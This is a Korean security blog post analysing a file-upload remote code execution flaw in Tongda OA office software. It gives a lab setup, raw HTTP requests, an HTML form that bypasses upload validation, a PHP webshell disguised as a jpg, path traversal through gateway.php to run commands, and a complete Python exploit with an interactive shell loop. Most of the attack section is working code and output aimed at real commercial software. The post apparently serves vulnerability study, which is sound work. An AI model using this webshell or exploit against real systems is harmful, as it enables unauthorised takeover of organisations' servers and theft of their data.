1. 개념
Tongda OA는 중국에서 운영중인 회사 내에서 일정 관리, 공지 사항, 커뮤니케이션 등을 중앙에서 관리할 수 있는 소프트웨어이다.
해당 소프트웨어에 임의의 파일 업로드 및 업로드된 파일을 통한 RCE 공격이 가능하다.
2. 취약점 설명
upload.php 경로에서 파일 업로드를 수행할 때 적절한 검증을 수행하지 않아 php 구문을 삽입 한 jpg 파일 업로드 취약점이 존재하고 해당 요청에 대한 응답 값을 통해 업로드한 파일 명을 확인할 수 있다.
업로드한 jpg 파일을 php 파일로 실행시키기 위해 gateway.php에 접근한 후 json 매개변수 값을 수정하여 RCE 공격을 수행한다.
1) 영향을 받는 버전
tongdaOA V11
tangdaOA 2017
tangdaOA 2016
tangdaOA 2015
tangdaOA 2013
3. 취약점 진단 환경 구성
1) Tongda OA 설치
아래 URL을 통해 Tongda OA를 설치한다.
https://cdndown.tongda2000.com/oa/2019/TDOA11.2.exe
2) 프로그램 실행
Tongda OA를 실행 한 후 IP, 포트번호를 설정하고 OK를 눌러 서비스를 실행한다.
3) 서비스 시작
Monitor 프로그램을 실행한 후 서버 동작에 필요한 서비스를 실행한다.
4) 정상접근 확인
http://127.0.0.1:80로 접근 시 정상적으로 동작하는것을 확인할 수 있다.
4.PoC (Proof Of Concept)
1) 업로드 파일 접근 시도
GET 메소드를 통해 /ispirit/im/upload.php 파일에 접근하면 검증 우회를 통한 파일 업로드를 수행하지 않아서 에러 메시지가 출력되는것을 확인할 수 있다.
1.1) Request
GET /ispirit/im/upload.php Host: 127.0.0.1 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close |
1.2) Response
1.3) upload.php 파일 확인
upload.php 파일은 [설치한 경로]\MYOA\webroot\ispirit\im\upload.php에 존재하고 파일은 zend 암호화가 되어있어 복호화(Dezend)후 파일 내용을 확인할 수 있다.
2) 업로드 인터페이스 구성
파일 업로드 시 검증 우회를 수행하기위해 3개의 매개변수인 P, UPLOAD_MODE, DEST_UID 값에 1을 삽입하여 검증 우회를 수행한다.
인증 우회 php 동작과정은 아래 링크를 참고하면 된다.
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>
3) php 코드로 구성 된 jpg 파일 생성
cmd를 실행할 수 있는 php 코드를 작성한 후 해당 파일을 jpg 파일로 변환하여 저장한다.
<?php
//Save as jpg
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
해당 과정까지 진행하면 php 파일을 업로드 할 jpg 파일과 해당 인터페이스를 수행할 html 파일이 생성된다.
4) 파일 업로드 취약점 수행
html 파일을 실행 시킨 후 이전에 생성한 jpg 파일을 업로드 하여 해당 요청을 전송한다.
4.1) Request
POST 전송을 통해 /ispirit/im/upload.php에 접근한 후 3개의 매개변수 값에 1이 삽입되어 검증을 우회하여 php 구문이 삽입 된 jpg 파일이 업로드 되는것을 확인할 수 있다.
POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 831 Cache-Control: max-age=0 Origin: null Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJkKC80Vl3RuHVoA1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=1 Connection: close ------WebKitFormBoundaryJkKC80Vl3RuHVoA1 Content-Disposition: form-data; name="P" 1 ------WebKitFormBoundaryJkKC80Vl3RuHVoA1 Content-Disposition: form-data; name="MSG_CATE" file ------WebKitFormBoundaryJkKC80Vl3RuHVoA1 Content-Disposition: form-data; name="UPLOAD_MODE" 1 ------WebKitFormBoundaryJkKC80Vl3RuHVoA1 Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundaryJkKC80Vl3RuHVoA1 Content-Disposition: form-data; name="ATTACHMENT"; filename="test.jpg" Content-Type: image/jpeg <? //Save as jpg $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c" .$POST['cmd'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ------WebKitFormBoundaryJkKC80Vl3RuHVoA1-- |
4.2) Response
응답 값을 통해 서버에 업로드된 파일명을 확인할 수 있다.
2101 폴더에 865286184.test.jpg 파일의 이름으로 서버에 저장되었다.
HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Feb 2021 19:50:09 GMT Content-Type: text/html; charset=gbk Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Content-Length: 78 {"status":1,"content":"[fm]252@2102_865286184|test.jpg|260[\/fm]","file_id":1} |
5) RCE 공격을 통해 Shell Mode 획득
이전에 업로드한 jpg 파일이 웹 디렉터리에 존재하지 않아 직접 접근할 수 없기 때문에 POST 전송을 통해 webroot 안에있는 gateway.php 파일에 접근한 후 json 매개변수를 통해 webroot 안에있는 /general경로로 이동한 후 directory traversal을 이용하여 파일이 업로드된 경로로 이동하여 웹쉘을 실행한다.
5.1) request
요청 구문에 Content-Type 항목이 없기 때문에 수동으로 기입한다.
Content-Type: application/x-www-form-urlencoded
json 매개변수를 통해 이전에 업로드 한 jpg 파일을 실행한 후 net user 명령어를 수행한다.
POST /ispirit/interface/gateway.php HTTP /1.1 Host: 192.168.123.120 Cache-Control: max-age=0 DNT: 1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=1; KEY_RANDOMDATA=16392 Connection: close Content-Length: 78 Content-Type: application/x-www-form-urlencoded json={"url":"/general/../../attach/im/2102/865286184.test.jpg"}&cmd=net user |
5.2) response
웹쉘이 실행되고 net user 명령어의 결과가 출력된것을 확인할 수 있다.
HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Feb 2021 20:42:47 GMT Content-Type: text/html; charset=gbk Connection: close Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Length: 307 \\俊 措茄 荤侩磊 拌沥 ------------------------------------------------------------------------------- Administrator ASPNET DefaultAccount Guest USER WDAGUtilityAccount 疙飞捞 窍唱 捞惑狼 坷幅肺 肯丰登菌嚼聪促. |
5. Exploit
#sudo git clone github.com/fuhei/tongda_rce
#vim tongda_rce.py //최신 날짜 폴더로 수정
#python3 tongda_rce.py http://127.0.0.1
Exploit
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File : tongda_rce.py
@Time : 2020/03/18 11:59:48
@Author : fuhei
@Version : 1.0
@Blog : http://www.lovei.org
'''
import requests
import re
import sys
def check(url):
try:
url1 = url + '/ispirit/im/upload.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
result = requests.post(url1, headers=headers, data=data)
name = "".join(re.findall("2003_(.+?)\|",result.text))
url2 = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
result = requests.post(url2, headers=headers, data=data)
if result.status_code == 200 and 'fffhhh' in result.text:
# print("[+] Remote code execution vulnerability exists at the target address")
return name
else:
return False
except:
pass
def command(url, name,command="whoami"):
url = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
while(1):
command = input("fuhei@shell$ ")
if command == 'exit' or command == 'quit':
break
else:
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
print(result.text)
if __name__ == '__main__':
url = sys.argv[1]
name = check(url)
if name:
print("[+] Remote code execution vulnerability exists at the target address")
command(url,name)
else:
print("[-] There is no remote code execution vulnerability in the target address")
[참고]
Exploit: www.programmersought.com/article/57317326186/
php 파일 인증우회 동작과정: blog.csdn.net/qq_42804789
공식 홈페이지: www.tongda2000.com/news/p673.php
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Apache OFBiz Auth Bypass & RCE Vulnerability (CVE-2023-51467) 취약점 (0) | 2024.02.04 |
---|---|
Atlassian Confluence OGNL Remote Code Execution (CVE-2022-26134) (0) | 2022.06.14 |
Citrix ADC and Gateway RCE Vulnerability (CVE-2019-19781) (2) | 2021.02.20 |
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
Cisco ASA Read Only Path Traversal Vulnerability (CVE-2020-3452) (0) | 2020.10.04 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊